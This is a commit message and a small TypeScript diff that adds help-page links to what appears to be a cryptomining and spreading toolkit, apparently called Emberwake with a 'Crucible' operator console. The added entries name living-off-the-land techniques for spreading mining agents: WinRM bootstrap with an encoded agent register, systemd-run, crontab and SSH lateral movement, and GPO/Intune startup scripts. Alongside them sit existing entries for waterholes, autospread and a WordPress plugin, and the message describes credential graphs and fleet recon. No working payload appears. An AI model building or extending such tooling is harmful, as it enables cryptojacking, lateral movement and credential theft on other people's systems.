Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/src/help/spreadTechniques.ts

@@ -13,6 +13,11 @@ export interface EmberwakeTechniqueLink {
 
 /** Maps Emberwake “how to spread” bullets to playbook tabs. */
 export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
+  {
+    label: 'LOTL Onion tiers',
+    anchor: 'lotl-onion',
+    hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
+  },
   {
     label: 'Web waterhole',
     anchor: 'web-waterhole',
@@ -43,6 +48,21 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
     anchor: 'lan',
     hint: 'Universal spread kit + autospread preset',
   },
+  {
+    label: 'WinRM bootstrap',
+    anchor: 'winrm-bootstrap',
+    hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
+  },
+  {
+    label: 'Linux LOTL',
+    anchor: 'linux-lotl',
+    hint: 'systemd-run --user, crontab, SSH lateral spread',
+  },
+  {
+    label: 'GPO / Intune',
+    anchor: 'enterprise-gpo',
+    hint: 'Startup scripts — mining policy stays on command deck',
+  },
   {
     label: 'WordPress plugin',
     anchor: 'wordpress',